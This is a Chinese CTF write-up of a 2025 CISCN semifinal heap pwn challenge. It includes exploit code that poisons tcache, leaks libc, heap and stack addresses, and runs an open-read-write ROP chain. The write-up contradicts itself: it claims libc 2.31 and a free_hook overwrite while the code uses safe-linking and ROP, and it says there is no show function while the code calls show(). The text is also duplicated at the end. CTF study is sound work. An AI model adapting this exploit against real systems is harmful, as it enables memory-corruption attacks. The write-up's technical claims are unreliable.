2025ciscn&长城杯 半决-pwn 部分解析
字数 1083 2025-08-29 08:29:59

2025 CISCN & 长城杯半决赛 PWN 题目解析

题目概述

这是一个基于 Protobuf 协议的堆溢出漏洞利用题目,主要考察选手对堆管理和格式化字符串漏洞的理解。题目运行在 libc 2.31 环境下,提供了 add、delete、edit 三个功能点。

漏洞分析

主要漏洞点

  1. 堆溢出漏洞

    • 存在于 edit 功能中
    • 由于 snprintf 函数的使用不当导致
    • 可以绕过 size 检查进行堆溢出
  2. 格式化字符串漏洞

    • 与 snprintf 相关的格式化字符串问题
    • 可以用来绕过参数传递的限制

静态分析

  1. 关键函数

    • *(unk_4060+int(v1)) 用于存储 size
    • 堆块上的 size 可以被覆盖
    • read 函数读取数据时可以利用溢出来绕过 size 检查
  2. 缺乏 show 函数

    • 需要通过合并堆块来泄露信息
    • 使 tcache 和 unsorted bin 堆块重叠

利用思路

动态调试步骤

  1. 初始堆布局

    • 创建多个堆块 (0x100 大小)
    • 为后续合并和溢出做准备
  2. 堆块合并

    • 通过 free 和重新申请使堆块重叠
    • 创建 tcache 和 unsorted bin 重叠的情况
  3. 泄露 libc

    • 利用溢出修改 size
    • 爆破 _IO_2_1_stdout-8 地址
    • 获取 libc 基址
  4. 修改 free_hook

    • 再次利用溢出修改 tcache 的 fd
    • 将 free_hook 改为 system
    • 同时溢出修改一个 chunk 为 "/bin/sh"

EXP 关键代码

# 初始化堆布局
add(0x100, b'flag')
add(0x100, b'1')
add(0x100, b'2')
add(0x100, b'3')
add(0x100, b'4')
add(0x100, b'5')
add(0x100, b'6')
add(0x100, b'7')

# 构造溢出payload
pay = b'A' * 0x108 + p64(0x110 * 4 +1)
edit(1, len(pay), pay)

# 触发合并
rm(2)
add(0x100, b'8')

# 泄露libc
show(3)
libc_addr = l64()-0x203b20
libc.address = libc_addr

# 获取堆基址
environ_addr = libc.sym['environ']-0x108
add(0x100, b'8')
rm(8)
show(3)
rl(': ')
key = uu64(mx.recv(5))
heap_base = key << 0xC

# 修改tcache fd
rm(2)
pay = b'A' * 0x108 + p64(0x111)
pay += p64(key ^ environ_addr)
edit(1, len(pay), pay)

# 获取栈地址
add(0x100, b'7')
add(0x100, b'flag')
edit(8, 0x108, b'a'*0x108)
show(8)
rl(b'a'*0x108)
stack_addr = h64()
target_addr = stack_addr-0x188

# 构造ROP链
pop_rdi = 0x000000000010f75b + libc_addr
pop_rsi = 0x0000000000110a4d + libc_addr
pop_rdx = 0x00000000000b0133 + libc_addr
pop_rbx = 0x00000000000586e4 + libc_addr
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']
flag_addr = heap_base+0x5e0

orw = b''
orw += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr)
orw += p64(pop_rbx) + p64(0x30) + p64(pop_rdx) + p64(0)*3 + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr)
orw += p64(pop_rbx) + p64(0x30) + p64(pop_rdx) + p64(0)*3 + p64(write_addr)

# 最终利用
add(0x100, b'a'*8 + orw)
inter()

防御方案

  1. 修复 snprintf 问题

    • 限制格式化字符串的使用
    • 确保不会因为格式化字符串导致缓冲区溢出
  2. 限制 large bin 的 size

    • 防止通过修改 size 来绕过检查
  3. 检查 free 操作

    • 在 free 前验证 chunk 的完整性
    • 防止 double free 和 invalid free
  4. 非预期解防御

    • 检查 nop call rdx 等指令序列
    • 限制直接跳转到敏感函数

其他攻击思路

  1. PHP PWN

    • 题目中提到的 web-pwn 部分
    • 需要 PHP 漏洞利用知识
  2. quantum 利用

    • 可能是另一种利用方式
    • 需要进一步分析题目细节

总结

这道题目综合考察了堆溢出、格式化字符串漏洞和堆布局控制能力。关键点在于通过 snprintf 的漏洞绕过 size 检查,然后利用堆合并和重叠来泄露信息,最终通过修改 tcache 的 fd 实现任意地址写。防御时需要特别注意格式化字符串和堆管理相关的安全检查。

2025 CISCN & 长城杯半决赛 PWN 题目解析 题目概述 这是一个基于 Protobuf 协议的堆溢出漏洞利用题目,主要考察选手对堆管理和格式化字符串漏洞的理解。题目运行在 libc 2.31 环境下,提供了 add、delete、edit 三个功能点。 漏洞分析 主要漏洞点 堆溢出漏洞 : 存在于 edit 功能中 由于 snprintf 函数的使用不当导致 可以绕过 size 检查进行堆溢出 格式化字符串漏洞 : 与 snprintf 相关的格式化字符串问题 可以用来绕过参数传递的限制 静态分析 关键函数 : *(unk_4060+int(v1)) 用于存储 size 堆块上的 size 可以被覆盖 read 函数读取数据时可以利用溢出来绕过 size 检查 缺乏 show 函数 : 需要通过合并堆块来泄露信息 使 tcache 和 unsorted bin 堆块重叠 利用思路 动态调试步骤 初始堆布局 : 创建多个堆块 (0x100 大小) 为后续合并和溢出做准备 堆块合并 : 通过 free 和重新申请使堆块重叠 创建 tcache 和 unsorted bin 重叠的情况 泄露 libc : 利用溢出修改 size 爆破 _IO_2_1_stdout-8 地址 获取 libc 基址 修改 free_ hook : 再次利用溢出修改 tcache 的 fd 将 free_ hook 改为 system 同时溢出修改一个 chunk 为 "/bin/sh" EXP 关键代码 防御方案 修复 snprintf 问题 : 限制格式化字符串的使用 确保不会因为格式化字符串导致缓冲区溢出 限制 large bin 的 size : 防止通过修改 size 来绕过检查 检查 free 操作 : 在 free 前验证 chunk 的完整性 防止 double free 和 invalid free 非预期解防御 : 检查 nop call rdx 等指令序列 限制直接跳转到敏感函数 其他攻击思路 PHP PWN : 题目中提到的 web-pwn 部分 需要 PHP 漏洞利用知识 quantum 利用 : 可能是另一种利用方式 需要进一步分析题目细节 总结 这道题目综合考察了堆溢出、格式化字符串漏洞和堆布局控制能力。关键点在于通过 snprintf 的漏洞绕过 size 检查,然后利用堆合并和重叠来泄露信息,最终通过修改 tcache 的 fd 实现任意地址写。防御时需要特别注意格式化字符串和堆管理相关的安全检查。